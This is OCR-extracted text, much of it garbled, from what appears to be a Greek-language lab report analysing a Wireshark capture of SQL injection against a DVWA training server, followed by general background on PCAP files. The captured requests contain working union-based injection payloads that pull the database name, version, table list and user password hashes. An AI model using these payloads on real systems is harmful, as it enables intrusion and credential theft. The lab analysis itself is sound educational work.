11 ©.068625 10.0.2.4 10.0.2.15 HTTP 429 GET /dvwa/dvwa/css/main.css HTTP/1.1

15 174.257989

Internet Protocol Ver
Transmission Control

Hypertext Transfer Pr Prepare as Filter »
Conversation Filter 4
Colorize Conversation »
SCTP b

83 00 27 9f 48 a@
82 @a 5h @1 4@ @@
@2 of 8b 36 @@ 5@ Decode As. HTTP Stream Ctrl+Alt+Shift+H
B0 e5 1a of ee @0
40 b4 47 45 54 20
65 72 61 62 69 6c 69 74 69 65 73 2f 73 71 6c 69 erabilit ies/sqli

10.9.2.4 HTTP

1511 HTTP/1.1 200 OK (text/css)
536 GET /dvwa/vulnerab:
Mark/Unmark Packet Ctrl+M 66 80 . 35638 [ACK] Seq
1861 HTTP/1.1 200 OK (text/html)

Ignore/Unignore Packet Ctrl+D e Lo
16 220.498531 - 577 GET /dvwa/vulnerabilities/sqli/?id=1%27+or+%27¢
17 220.498637 Set/Unset Time Reference Ctrl+T 66 88 . 35640 [ACK] Seq=1 Ack=512 Win=235 Len=8 TS
18 220.493085 Time Shift. Ctrlsshift+T | 1918 HTTP/1.1 200 OK (text/html) -
»
Packet Comment.. Ctrl+alt+C
Frame 13: 536 bytes o )
Ethernet II, Src: Pcs Edit Resolved Mame | 9f:48:20 (@8:00:27:9F:48:a0)

Apply as Filter "lack: 1, Len: 470

Copy 4

Protocol Preferences 4

Show Packet in Mew Window

@ 7 squ_Lab.pcap Packets: 3@ - Displayed: 30 (109.8%) Profile: Default

Ewova 32: Follow HTTP Stream

Kot

Extehdvtag 10 mapomdve, o pag avoilel Eva véo mapdbvpo oto omoio n kivinon g mYNg
eppavileton pe koOkkvo ypopo. H myn €yxel oteiretl éva aitnua GET yia tov host 10.0.2.15.
Me ume xp®uUa, 1] GLCKELT TPOOPIGLOV AVTOTOKPIVETOL TIG® GTNV TNYT.

“wi# Applications - # SQL_Lab.pcap M wireshark . Follow HT.. [analyst - File Manag.. E]

Mon 3@ May, @86:51 analyst

File Edit Viey

\ tcp.stream eq

i, No. Time
| | 13 174.254
I 14 174.254
15 174.257

Frame 13: 536
Ethernet II,
Internet Prot
Transmission
Hypertext Tral

@8 @@ 27
@2 @a sb
@2 of a8b
oe e5 1a
4@ ba 47
65 72 61

Os®we o

@ 7 sqL_Lab.

72

4 Wireshark - Follow HTTP Stream (tcp.stream eq 1) - SQL_Lab.pcap A _ O X

GET /dvwa/vulnerabilities/sqli/?id=1%3D1&Submit=Submit HTTP/1.1

Host: 10.0.2.15

User-Agent: Mozilla/5.@ (X11; Linux i686; rv:50.8) Gecko/201081@1 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=08.8
Accept-Language: en-US,en;q=08.5

Accept-Encoding: gzip, deflate

Referer: http://10.0.2.15/dvwa/vulnerabilities/sqli/

Cookie: security=low; PHPSESSID=ml2n7d@tdremsk@ndisB82us157

Connection: keep-alive

Upgrade-Insecure-Requests: 1

HTTP/1.1 200 OK

Date: Mon, @6 Feb 2017 14:18:22 GMT
Server: Apache/2.4.18 (Ubuntu)
Expires: Tue, 23 Jun 2009 12:00:08 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache

Vary: Accept-Encoding
Content-Encoding: gzip

Content-Length: 1443

Keep-Alive: timeout=5, max=10@
Connection: Keep-Alive

Content-Type: text/html;charset=utf-8

<IDOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.@ Strict//EN" "http://www.w3.org/TR/
xhtm11/DTD/xhtmll-strict.dtd">

<html xmlns="http://www.w3.01g/1999/xhtml">

1 client pkt, I server pkt, 1 turn.

Entire conversation (5,894 bytes) - Show and save data as ASCIT -
Find: [1=1 || Find Mext |
Help Filter Out This Stream Print Save as.. Back # Close

& = oQ I

Ewoéva 33: Follow HTTP Stream Window

A - @ X

=K

1i/?id=1%3D1&5ubmit=Submil
71 Win=235 Len=8 TSval=821

%) Profile: Default




Edv oto medio Find 1o @iktpo 1=1 mapatnpovue 1o €&ng. O eioPoréag Exel loaydyel Eva
gpotua (1=1) og éva mhaiclo avalnmong UserID otov otdéyo 10.0.2.15 yia va det €av 1
epapuoyn stvar evahwtn oe éveon SQL. Avti n gpappoyn vo aviamokpiveTor pe pivopa
amoTVyiag chHVOEoNC, AmAVINCE UE Uia €Yypoaen oo o Baon dedopévmv. O soPoréac €xet
emoAnOevoel 0Tt pmopel vo ecaydyet o evtodn SQL kow m Bdon dedopévev Oa
avtamokplel. H ocvpPorocepd avalnmong 1=1 omuiovpyel o tpodtacn SQL mov Ba sivan
TévTo oAnOmg.

i Applications - M SOL_Lab.pcap M wireshark - Follow HT.. [analyst - File Manag.. | A Mon 3@ May, ©6:52 analyst
A A Wireshark - Follow HTTP Stream (tcp.stream eq 1) - SQL_Lab_pcap A _ B X _ &
File Edit Viel i fo php">PHP Info</a></1i> -
‘ ] <1i onclick="window.location="../../about.php'" class=""><a href="../../

about . php”>About</a></1i>

[WTtcp.stream eq  </ul><ul class="menuBlocks"><li enclick="window.location="../../logout.php'" T o0+
class=""><a href="../../logout.php">Logout</a></1i> B =

No. Time </ul>
13 174.254 </div> 1i/?id=1%3D1&Submit=Submii
I 14 174.254 71 win=235 Len=8 Tsval=82]
15 174.257 <fdiv>

<div id="main_body">

<div class="body_padded">
<h1>Vulnerability: SQL Injection</h1>

‘ v
» Frame 13: 536 .

) <div class="vulnerable_code_area">

, [————, <form a(tmr<|=># method="GET">

» Transmission P T LF

} Hypertext Trai ser 10-

<input type="text" size="15"

<input type="submit” name="Submit"
value="Submit">

</p>
</form>
<pre>I: [EEkbr />First name: admin<br />Surname: admin</pre>
28 00 27 9 < fotine = -
82 @a Sb @| I client pkt, 1 server pkt, 1 turn
g; ”; ?b ; Entire conversation (5,894 bytes) - Show and save data as |ASCIT  ~
e5 1a
40 b4 47 4 piog. 101
65 72 61 §
Help Filter out This Stream Print save as.. Back =
@ 7 squ_Lab. %)  Profile: Default

= = oQ I

Ewova 34: 1=1 filter 1

> ovvéyew, Ba dovue v vrdAoutn enibeon. Exniléyovpe avt) ™ eopd ™ ypoauun 19 ko
akoAovBovue v O dwdwkacio. Emiéyovue maAr to Follow > HTTP Stream kot oto
napdBupo mov epeaviCetar oto medio Find eicdyovpue 1o oiktpo 1=1.

Wi Applications = 4 SQL_Lab.peap [analyst - File Manager] IZ| Mon 3@ May, 86:53 analyst
‘ Mark/Unmark Packet ctrl+m A - o X
File Edit View Go Capture Analyze Ignore/Unignore Packet ctrl+d
‘ [] @ = @ @ ( set/Unset Time Reference Ctrl+T i
Time Shift.. CtrlsshiftsT
LIETS e e - Packet Comment.. Ctrl+altc -+
Ko, iLine Source Edit Resolved Name
11 8.868625 10.0.2.4 |dvwa/css/main.css HTTP/1.1
12 @.@70400 10.0.2.15 Apply as Filter » 100 OK (text/css)
13 174.254430 10.0.2.4 Prepare as Filter R vulnerabilities/sqli/?id=1%3D1&Submit
14 174 254581 10.0.2.15 P b [ACK] Seq=1 Ack=471 Win=235 Len=8 T¢
15 174.257989  10.0.2.15 Conversation Filter » 100 0K (text/html)
16 220.490531 10.0.2.4 Colorize Conversation » vulnerabﬂltlssfsqh/’}dﬂ%l?mﬁ%zﬂ_
17 220.490637 10.0.2.15 ) [ACK] Seg=1 Ack=512 Win=235 Len=0 T¢
18 220.493085 10.0.2.15 SCTP Y100 OK (text/html)
= SR /R 7P S AT Follow N 1cP strean CErI+ALt2Shift+T
20 277.727871 10.0.2.15 -
[ Copy 4
» Frame 19: 630 bytes on wire (5@4@ bit Protocol Preferences r
» Ethernet TT, Src: PesCompu_ca:el:24 ({ becode As WTTP Stream Ctrlaltsshifts
+ Internet Protocol Version 4, Src: 10.{
» Transmission Control Protocol, Src Pol Show Packet in New Window
» Hypertext Transfer Protocol
0o0e 08 @@ 27 9f 48 ab 08 0@ 27 ca el 24 [ 45 0@ "H ' $'E -
82 68 @b dc 40 @0 46 B6 14 a2 @a @0 02 B4 Da 0O h @@
02 of 8b 3a @0 50 e7 88 3 5 el d7 6c 05 80 18 P _-1
8@ e5 1a 6d @0 @0 01 @1 @8 Ga 0O @1 f3 84 0@ 01 L
a5 cl 47 45 54 20 2f 64 76 77 61 2f 76 75 6c Ge GET /d wwa/vuln
65 72 61 62 69 6c 69 74 69 65 73 2f 73 71 6c 69  erabilit ies/sqli
@ 7 s0L_Lab.pcap Packets: 30 - Displayed: 3@ (100.8%) Profile: Default

= oo I 73




Ewkova 35: Follow HTTP Stream Mpappun 19
O eoPoréag €xet ewcayayetl éva epotnua (1' | 1=1 union select database(), user()#) oe éva
miaiclo avalnmong UserlD otov otoyxo 10.0.2.15. Avti n gpappoyn va avtamokpivetan pe

LWVOLLOL ITOTVYI0G GUVOEDTG, amAvINGE G €ENG:

“miF Applications - 4 SQL_Lab.pcap M Wireshark - Follow HT.. [analyst - File Manag.. [IE] Mon 3@ May, B6:54 analyst

File Edit v

A A Wireshark - Fallow HTTP Stream (tcp.stream eq 3) - SQL_Lab.pcap A _ oXx - @
= <div 1d="nain_body"> -

A =
[Wtcp.stream eq) <div class="body padded"> [<] HE ]

<h1>Vulnerability: SQL Injection</hl>
No. Time

20 277.727 65 Win=236 Len=0 TSval=18]
21 277.732 <div class="vulnerable_code_area">
<form action="#" method="GET">
<p>

User ID:

<input type="text" size="15"
name="1d">

<input type="submit” name="Submit"
value="Submit">
[ </p> D
Frame 19: 63@
Ethernet II,
Internet Prot
Transmission
Hypertext Tral

</form>

<pre>ID: 1' or union select database(), user()#<br /
>First name: admin<br />Surname: admin</pre=<pre-ID: 1' or 1=1 union select
database(), user()#<br />First name: Gordon<br />Surname: Brown</pre><pre>ID: 1' or

1=1 union select database(), user()#<br />First name: Hack<br />Surname: Me</
pre><pre>ID: 1' or 1=1 union select database(), user()#<br />First name: Pablo<br /
>Surname: Picasso</pre><pre>ID: 1' or 1=1 union select database(), user()#<br /
>First name: Bob<br />Surname: Smith</pre><pre>ID: 1' or 1=1 union select
database(), user()#<br />First name: dvwa<br />Surname: root@localhost</pre>

<fdiv>

<h2>More Information</h2>

<ul> -
08 80 27 9 -~
82 68 @b d| I client pkt, 1 server pkt, 1 turn.
02 of &b 3 Entire conversation (6,532 bytes) - Show and save data as ASCIT -
B2 e5 1a 6
0040 a5 clA7 4 Fing: |11 | Find Mext |
(-l "N65 72 61 6| ——
Help Filter Out This Stream Print Save as.. Back ¥ Close =
@ ¥ sq_Lab. %) Profile: Default

= = ,Qq I

Ewova 36: 1=1 filter 2

To O6voua g Paong dedopévav eivar dvwa Kat o ypnotng g Paong dedopévov sivat
root@localhost. Yndpyovv eniong moAroi Aoyaplacpol xpnotdv mov epgaviovot.

To SQL Injection Attack mapéyer minpogopieg cvomuatoc. O ewoPoréag cvveyiler kot
apyiCer vo otoyevel mo ocvykekpéves mAnpogopiec. Evidg g kataypaeng Wireshark,
emAéyovpe t ypoppn 22 kot otn cvvexewo to Follow > HTTP Stream. Mg kdxkwvo ypopa,
eupaviCetor 1 kokhoeopia mpoérevons kot otédver to aitmua GET otov kevipwd
vroAoyot 10.0.2.15. Mg pmhe ypdU0O, 1| CLGKELT] TPOOPIGUOV AVTOTOKPIVETAL TCW GTNV
myn. Zto nedio Find, mAnktpoloyovpe to piktpo 1=1.

O swoPoréag €xerl ewoayayel éva epotue (1' 1 1=1 union select null, éxdoon ()#) oe éva
miaico avalnmong UserID otov otdéyo 10.0.2.15 ywr va evtomicel 10 avoyvoploTikd
éxdoone. IMapatnpodue mdg 10 avayvoplotikd €kdoong Ppioketor oto T€A0g TG €£0d0V
axpimg tpv amd tov kmokoe HTML kieicipatog </pre>.</div>.
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“wi¥ Applications = 4 SOL Lab.pcap M Wwireshark - Follow HT.. [analyst - File Manag. I A Mon 3@ May, 87:02 analyst

A A Wireshark - Follow HTTP Stream (tcp.stream eq 4) - SQL_Lab.pcap A - O X - m
File Edit Viey

A4 = q
| tcp.stream eq ] 'I‘)

- <div class="vulnerable_code_area">
Ho. Time <form action="#" method="GET">

<p> 1i/?id=1%27+0r+1%3D1+unio
23 313.71 User ID: 94 Win=236 Len=@ TSval=11¢
24 313.712

<input type="text" size="15"

<hl>Vulnerability: SQL Injection</hl> -

name="id">
<input type="submit" name="Submit"
value="Submit">

</p>
</ form>
<pre>ID: 1' or union select null, version ()#<br s>First
7T name: admin<br />Surname: admin</pre><pre>ID: 1' or 1=1 union select null, version »

()#<br />First name: Gordon<br />Surname: Brown</pre><pre>ID: 1' or 1=1 union
select null, versien ()#<br />First name: Hack<br />Surname: Me</pre><pre>ID: 1' or
1=1 union select null, version ()#<br />First name: Pablo<br />Surname: Picasso</
pre><pre>ID: 1' or 1=1 union select null, version ()#<br />First name: Bob<hr /

b Frame 22: 659
» Ethernet II,

» Internet Proti
3
3

Transmission »Surname: Smith</pre><pre>ID: 1' or 1=1 union select null, version ()#<br />First
Hypertext Tral | name: <br />Surname: 5.7.12-Bubuntul.l</pre>
</div>

<h2>More Information</h2>
<ul>
<li»<a href="http://www.securiteam.com/securityreviews/
SDP@N1P76E.html" target="_blank">http://www.securiteam.com/securityreviews/
SDP@N1P76E. html</a></1i>

o8 06 27 9 <li><a href="https://en.wikipedia.org/wiki/sQL_injection” - -
82 85 50 d| ! client pkt, 1 server pkt, 1 turn.
g; ”g ;3b g Entire conversation (6,548 bytes) - Show and save data as ASCII -
= a
Eg ;i g g Find: |1-1 | Find next
Help Filter Out This Stream Print Save as. Back ¥ Close =
@ ¥ sqL_Lab. %) - Profile: Default

= = oQ I

Ewova 37: 1=1 filter 3

[Mapamdve, umopoVLE Vo ToPATNPHCOVLLE Kot TNV £€kd0on, N onoia eivon 1 MySQL 5.7.12-0.
IIAnpogopics yia Tnv eniBeon SQL Injection kot Tov wivaka.

O eoPoréag yvopiler 6tL vEapyel peyarog opBuodg mvakov SQL mov sivon yepdrot
minpogopiec. O attacker mpoomabel va tovg Ppel. Evioc e xoataypaerg Wireshark,
emAéyovpe ™ ypouun 25 kot ot ovvéyea Follow > HTTP Stream. H mnyn epoavileton pe
Koxkwvo ypopa. ‘Eyel oteilel éva aitmuo GET yia va tov host 10.0.2.15. Me umie ypoua, n
OLOKEVT TPOOPICUOV OVTOTOKPIVETOL TIG® GTNV ANYN. X OLTH TNV TEPITTWON, 0TO MEDIO
Find, eicdyovpe to @iktpo “users”.

O ewoPoréac €xet ewoaydyet éva epdtnua (1M 1=1 union select null, table name ond
information_schema.tables#) o¢ éva mhaicto avalntnong UserID ctov otdyo 10.0.2.15 yo va
npoPdiel GAovg Tovg mivakeg otn Paom dedopévev. Avtd Tapéyel £vo TEPACTIO OMOTEAEGLLO
TOAL®V TvVaK®V, kabdg o eieforéag 0pioe "null" ywpig mtepartépw mpodiaypapés.
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“mi Applications - # SOL_Lab.pcap M Wireshark - Follow HT.. [analyst - File Manag.. E] Mon 3@ May, ©7:86 analyst

‘ ‘ Wireshark - Follow HTTP Stream (tcp.stream eq 5) - SQL_Lab.pcap A - O X A - @ X
Eita ke Sl from information_schema.tables#<br />First name: <br />Surname: =
‘ . @ INNODB_FT_INDEX_TABLE</pre=<pre>ID: 1' or 1=1 union select null, table_name from
=0 infoxrmation_schema.tables#<br />First name: <br />Surname: INNODB_FT_INDEX_CACHE</
|:I@ pre><pre>ID: 1' or 1=1 union select null, table_name from ﬁ} +
_ = information_schema.tables#<br />First name: <br />Surname: INNODB_SYS_TABLESPACES</ _—
| J No. Time pre><pre>ID: 1° or 1=1 union select null, table_name from
7 | 25 383,277 information_schema.tables#<br />First name: <br />Surname: INNODB_METRICS</ 1i/7id=1%27+0r+1%301+unior
26 383,277 |Pre><pre>ID: 1 or 1-1 union select null, table name from 15 Win=236 Len=@ TSwal=124
l_l RS 27 383,284 information_schema.tables#<hr />First name: <br !>§urname: _
Fild TNNODB_SYS_FOREIGN_COLS</pre><pre>ID: 1' or 1=1 union select null, table_name from

information_schema.tables#<br /*First name: <br />Surname: INNODB_CMPMEM</
pre><pre>ID: 1" or 1=1 union select null, table_name from
information_schema.tables#<hr />First name: <br />Surname:
INNODB_BUFFER_POOL_STATS</pre><pre>ID: 1' or 1=1 union select null, table_name from
information_schema.tables#<br /*First name: <br />Surname: INNODB_SYS_COLUMNS</
pre><pre>ID: 1' or 1=1 union select null, table_name from
information_schema.tables#<br />First name: <br />Surname: INNODB_SYS_FOREIGN</

4 pre><pre>ID: 1° or 1=1 union select null, table_name from »
information_schema.tables#<br /*First name: <br />Surname: INNODB_SYS_TABLESTATS</

: E:::inzzlli% PIe><pIele: 1" or 1=1 union seleFt null, table_name from
y [—— PrnI)‘t information_schema.tables#<br />First name: <br />Surname:

T 1' or 1=1 union select null, table name from information_schema.tables#<br />First]
' I UEL RS e G EL T R R <pTe>ID: 1' or 1=1 union select null, table_name
: Hypertext TIal  froy jnformation_schema.tables#<br />First name: <br />Surname: columns_priv</

Line-based te; pre><pre>ID: 1 or 1=1 union select null, table_name from
information_schema.tables#<br />First name: <br />Surname: db</pre><pre>ID: 1' or
1=1 union select null, table_name from information_schema.tables#<br />First name:
<br />Surname: engine_cest</pres<pre>ID: 1' or 1=1 union select null, table_name
from information_schema.tables#<br />First name: <br />Surname: event</pre><pre>ID:
1' or 1=1 union select null, table name from information_schema.tables#<br />First
name: <br />Surname: func</pre><pre>ID: 1' or 1=1 union select null, table_name

from information_schema.tables#<br />First name: <br />Surname: general_ log</ —
28 80 27 C . —— - A a1 - =
of d6 fa 1| I client pkt, I server pkt, 1 turn.
02 04 @@ 5 Entire conversation (45 kB) - Show and save data as |ASCII -
e ec 27 d
74 35 48 50 Find: |users Find Next b
Frame (4068 byt
Help Filter Qut This Stream Print Save as.. Back ¥ Close
@ 7 sqL_Lab. %) Profile: Default

& = o [

Ewdva 38: DiAtpo users 1

Edav o sioPforéac eiye tpomomomoetl v eviodn o¢ e&ng (1''H 1=1 UNION SELECT null,
column name FROM INFORMATION SCHEMA.columns WHERE table name=’users’),
TOTE M PaAon dedopEvmv Bo avTOmOKPIVOTOVY LE TOAD [UKpOTEPT PIATPpapIopévn €000 amd TV
eUeavion g AéEng “users”.

H SQL Injection Attack oloxkAnpavetar. H eniBeom tedeidvel pe 10 kahdtepo Emabrio OAwmV.
Tov KataxepUATIGHO TOV KOIK®OV TPpOSPaong.

Evtég g kataypagng Wireshark, emdéyoope ™ ypapun 28 kot otn ocvvéyewn Follow >
HTTP Stream. H anyn epeaviCeton pe kdéxkivo ypoua. ‘Eyel oteidetl éva aitmua GET yo tov
host 10.0.2.15. Mg pme ypdLLo, 1 GLGKELN TPOOPIGLOV AVTATOKPIVETAL TCW GTNV TNYN. XTO
nedlo Find, ewcdyovpe to @iktpo 1=1. Kdvovpe avalnmmon yu auti v Katoymdpnon kot
otav gvromiotel to Keipevo emdéyovpe Cancel oto mhaiclo g avalnong keyévov Find.

O eoPoréag éxer ewoaydyel éva gpotpa (1' 1 1=1 emdoyn ypnotn &voong, KoOKOg

npocPacng and tovg ypnotecH) o éva mhaicto avalntnong UserlD otov 6toyo 10.0.2.15 Y
va Tpafrget To OVOLOTO ¥PNGTAOV KOt TOVG KOTAKEPLATICUEVOVS KOOKOVS TPOGROCTG.
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“wiF Applications = 4 SQL_Lab.pcap M wireshark . Follow HT.. [analyst - File Manag. [IE:I Mon 3@ May, 87:88 analyst

‘ ‘ Wireshark - Follow HTTP Stream (tcp.stream eq 6) - SQL_Lab.pcap A - o X - &
File Edit Vi -
‘ [] </form>
<pre>ID: 1' oI union select user, password from users#<br
[Wtcp.stream eq f>First name: admin<br />Surname: admin</pre><pre>ID: 1' or 1=1 union select user, [X] -I +
password from users#<br />First name: Gordon<br />Surname: Brown</pre><pre>ID: 1' —_—
Time or 1=1 union select user, password from users#<br />First name: Hack<br />Surname:
FEPSINLE] | Me</pre><pre>ID: 1' or 1=1 union select user, password from users#<br />First name: 14/ 7id=1%27+or+1%3D1+unio
29 441.8p4 | Pablo<br />Surname: Picasso</pre><pre>ID: 1' or 1=1 union select user, password 2@ Win=236 Len=@ TSwal=14{

30 441,897 | Trom users#<br />First name: Bob<br />Surname: Smith</pre><pre>ID: 1' or 1=1 union
select user, password from users#<br />First name: admin<br />Surname:
5fadcc3b52a765d61d8327deb882cf99</pre><pre>ID: 1' or 1=1 unien select user,
password from users#<br />First name: gordonb<br /=>Surname:
£99a18c428cb38d5T260853678922e@3</pre><pre>ID: 1' or 1=1 union select user,
password from users#<br />First name: 1337<br />Surname:

8d3533d75ae2¢3966d7eddd fcc69216b</pre><pre>ID: 1' or 1=1 unien select user,
password from users#<br />First name: pablo<br />Surname:
@d107d@9fsbbeddcade3desc71e9e9b7</pre><pre>ID: 1' or 1=1 unien select user,

1 password from users#<br />First name: smithy<br />Surname: ]
v Frame 28: 685 of4dcc3bSaa7esdelde327debsB2cfog</pre>

+ Ethernet II, </div>

+ Internet Prot

» Transmission <h2>More Information</h2>

» Hypertext Tra <ul>

<li><a href="http://www.securiteam.com/securityreviens/
SDP@N1P7EE.html" target="_blank">http://www.securiteam.com/securityreviews/
SDP@N1P7EE.html</a></1i>

<li><a href="https://en.wikipedia.org/wiki/sQL_injection”
target="_blank">https: //en.wikipedia.org/wiki/SQL_injection</a></1i>

<li><a href="http://ferruh.mavituna.com/sgl-injection-
cheatsheet-oku/" target="_blank">http://ferruh.mavituna.com/sql-injection-
cheatsheet-oku/</a></1i>

28 00 27 9 <li><a href="httn:finentastmonkewv net/cheat-sheat/sal- -
02 of 58 4 1 client pkt, 1 server pkt, 1 turn.
g; :; ?: : Entire conversation (7,186 bytes) - Show and save data as |ASCII -
gg iz g g Find: 1-1 Find Next
Help Filter out This Stream Print Save as.. Back # Close =
@ 7 sqL_tab. %) Profile: Default

= =- . s

Ewdva 39: DiAtpo users 2

(Evotnta 5.3.A) Apxeita PCAP

H o0AMnyn mokétov gival g Tpaktikny Oktdmons mov tepthapuPdvel v mopokoiovinon
TaKETOV dedopévmv o taldebouvv o éva diktvo (Solarwinds, n.d.).

To PCAP yvwotd w¢ Packet Capture mov Aertovpyel ®¢ TPOTOKOAAO Yol OGVPUATN
emkowovia 6to Awdiktvo. Emrpénetl eniong otov vmoloyiot va Aappdavel o g16epyopeva
onuata amd GAAN GLGKELT] Y10 VO TO LETATPEWEL GE YPNOYLES TANpopopies. Emtpénet emiong
TN UETATPOTI TV TANPOPOPIDV GE PASIOPOVIKO GTLLOL Y10 EDKOAT LETAPOPA OVTMOV GE GAAT
ovokeLvn. Agrtovpyel G acVLPUOTN GLOKELT, 7OV Tailel Kpioywo POAO OGNV AGVPUOTN
emkowovia, av kot oravia avayvopiletat. To apyeia PCAP givar modd onpo@idn Kot moAioi
XPNOTES VIOAOYIGTAOV TaL Xpnoonoovy (Gurubaran, 2021).

MoMg cuAneBolv o makéta, pumopohv vo, amofnKeLTovV amd OUAdES TANPOPOPIKNG Yio
nepaltépm oviivor. H embBedpnon avtdv tov mokétov emrpémel otig opddes IT va
evromilovv {nmpato Kot vo ETADovV TpoPANLATe SIKTOOL oV EMNPEALOVY TIG KOO UEPIVES
Aertovpyieg (Gurubaran, 2021).
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Ynpooia g avaivong TakETov diktoov — Apyeio PCAP

Ortav epyalOpooTe 6T0 GLGTNIO KO AVTIHETOTILOVE Eva TPOPANUA S1kTOOV, TOTE TPEMEL VOl
dwnproovpe 1o diKTLO € LYNAO eminedo Yy vo ovtopotomombel N wapakoiovdnon
dedopévmv Kot kKuklogopiag. Avtol ot THoL avaAvTiKdV epyoieinv fonbovv va Aapupdavoopue
ovvenn dedopéva kivnong pe ta morlhamdd enimedo OSI kot dev Oa emPpadivel 10 dikTvd
(Gurubaran, 2021).

Me 1 Pondeia tov mokétov dedopévav, eEdyovtat ol KPIGIUEG TANPOPOPIEG GYETIKE LE TNV
vyeilo kot TV amd306, 01 OTOIEG UTOPOVV VO, AVTILETMOTICOVV TPOPANUATO 0TOS0CNG KOt VoL
evtomicovv ta acvvifiota makéta dedouévmv (Gurubaran, 2021).

Ta apyxeia PCAP mopéyovv emiong Tic untpeg Omov yivetal TOAD OMOTEAECUOTIKY T
napakolovdnon g amddoong tov owktvov. Eivar xvplog éva gvéhkto epyodeio kot to
KOAVTEPO Y10l TOVG E101KOVS TNG TANPOPOPIKNG Kot TOVG dtoyeploté oktvov. Iapakdtm Oa
dovue peptkég axopa ypnoeig toug (Gurubaran, 2021).

Ensuring Security

Ta moxéta dedopévov dwdpopotilovv moAd (oTikd poOAO otV TOpPOKOAOVONoT NG
ac@dAelog tov owtvov. Bonbd emiong ommv avtoportomoinon kot TV OTTIKOTOINGN TOL
potifov KuKAOPOPINg Yo TOV EVIOTICUO TNG OMEIMNE 0TO apykd 0Tdd10 uoMS eppoviotel. H
Myn moké€tov epeoavifel mévta to dedopéva Kivnong o€ mpayuaTikd ypdvo, To omoio
delyvouv ypryopa ™ un e€ovotodotnuévn dpactnpiotnta (Gurubaran, 2021).

Finding Congestion

H aviyvevon mokétwv pag deiyvouvv v TpoPoir| o€ TPoyUoTIKO ¥POVO OTTOV UTOPOVLE VL
TOPATNPNOOVUE TOV YXpOVo Taldwd Tov dedopévov cog kot Bo cag Pondnoer va
npoodiopicovpue T cvpeopnon (Gurubaran, 2021).

Troubleshooting

MoMg emonpdvovpe 10 TPOPANLUO TOV SIKTVOV, EIGYMPOVLE GTN AETTOUEPT SLAGTACT Yo
K60e makéTo yuo va evtomiotel To mpOPANpa. Av kot Kataypaeovtal to metadata, pmopovpe
va  mopakolovOnoovpe TG Poacikég AemTopépeleg AcLVNOWGTOV  TPAYUATOV Yoo TNV
amoTeELEGHOTIKY avTieT®dmion mpoPAnuatov. To PCAP éyet moAlamiéc yprioelg Omov
Aertovpyel g kpioyo otoryeio yw kdbe oloxAnpopévo cHomuo dStoyeliptong SKTLOL.
Emutpénet, emiong, v tekunpioon tov dedopévov yio va yivel Katavontd 1o mpdyuo o
TPAYUATIKO YPOVO Kal Vo, Yivel 6ot 1 amddoon tov diktvov (Gurubaran, 2021).
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H ypnowpétnto tov apyciov PCAP

To PCAP givor mdvta £vag moADTIHOG TOPOGS Yo TNV 0VAAVCT] OTO0VONTOTE OpyEiov Kot TNV
napakolovdnomn g KukAoeopiag tov diktvov. H curlhoyn maxétmv gival éva epyaieio mov
Oa coag emTpéyel va GLAAEEETE TNV KIVNGT TOV SIKTVOL KOl VO LETOPPAGETE TN LOPPT) GTNV
omoio 0 avBpwmog pmopei va, tn dwofaocel (Gurubaran, 2021).

H xotaypagn mokétov Bondd ommv avdivon diktdwmv, otn dSloyeipton e KukAopopiog
SIKTVOV KOl GTOV EVIOMIGHO TPoPANudtev amddoong diktvov. Emrpénel otic opddeg IT va
avyyveLovy amomelpec €0PoANC, (NTNUOTO OCEAAELNG, KOKT YpNon OKTHoL, OTdOAEN
TOKETOV KOL GLUEOPNOTN dkTvov. Emitpémel otoug dayelpitotég dikthov va Kotaypaeovv
nakéTa dedopévav amevbeiog and to dlkTvo vIoAoywotdv. H ddikacio eivar yvoot) wg
sniffing (Solarwinds, n.d.).

Yrdpyovv apétpntor Adyor micw and to PCAP yia ™ ypron tov diktvov o86vng. Mepikég
KOwWwéG ypnoelg eivarl owbéoueg vy v mopakorovdnon g ypnong evpovg Lovng, v
aviyvevon KakoBovAov AOYIGHIKOV, TNV avayvopion Tov dtokouotdv DHCP, v andkpion
wepLoTATIKOV, TV avdivon DNS, mapakorovdnon ypnong WAN, mapoakorovdnon ypnong
dktHov Ko amopovoon mapaflacpévov cvomudtov (Solarwinds, n.d.) (Gurubaran, 2021).

H Aevtovpyia tov apyciov PCAP

To PCAP a1 1o WinPcap kot o1 dVo gpappoyéc mov Bacilovion oo Windows kot moapéyovv
™V TAEOYNGio TG LITOGTNPIENG OTO TOPOUCKNVIO 0TO EUTMOPIKO acvpuoto mpdypoupa. To
PCAP Aettovpyei kupimg yioo T HeTATPOT TG TANPOQOPING GE padtocnpa. XP1CILOTOLEL,
emiong, £vov ovyKekpévo aAyoplfpo Omov 1 acVPUOTY] CLOKELT UmOopel va AapPavet
YPNOES TANPOPOPIEC KO VO, ATTOKMOIKOTOIEL TOL POOIOCTLATO LECH TOV 1010V aAyOp1Bov.
EmnAéov, mopéyel ac@dieia yio 10 acOPUOTO SIKTVO KOl OVOKOTEVEL TO PUOIOPOVIKO GYLLOL
ue Tov emmAéov adyopiBuo (Gurubaran, 2021).

Av pddpe yioo ™V e@oppoyn mov Aswtovpyel, 10te 10 PCAP Agttovpyel kohdtepa
EMTPEMOVTIOG OTIC OGVPUATEC GLOKEVEC VO, EMIKOVOVOUV UETAED TOvG. Amokabiotd Tnv
emkowvovia kot yopic ovtd 1o dwdiktvo dev €xel kopion ypnon. Avtn 1 ovvoeom
xpnowonoteitor Kuplwg yuor eOpNTovS LTOAOYIOTES, £mMITPAMECIOVS VIOAOYIOTEG, KNt
mAépwva, PDA, acOppateg unyavés eag kot moAld aAia. To PCAP ypnoipomnoteiton kupiomg
OG OVOALTNG TPMOTOKOAAOV, YEVVITPLL KLKAOQOPING, €AEYKTNG O1KTOOV, TopaKoAoLON G
JKTOOV Ko GhoTHO aviyvevong el6foAnc oto diktvo (Gurubaran, 2021).

H onpoocio ¢ mapakoiovdnong kataypaeng TakETOv

H Myn noxétov emrpénel 6T opdades vo avipetonilovv moAdmioka (ntipate dSiktoov pe
evkoAlo kol amoteleopatikdtra. H dwayeipion tov dwtdov tov opyovioudv eivor
tpopaktikn. [eptropfaver tov éleyyo tov devbivoewv IP melatav, tov dwakopictodv DNS
Kol GAA@V PETO amd TG TLMIKEG OOKIUES Y. TOV €VIOMIGUO NG Pacikng otiog tv
npoPinuatev (Solarwinds, n.d.).

Ed® eivon mov Ponbder moAd 10 ocbotpo kataypoens mokétov. Eva  epyodeio
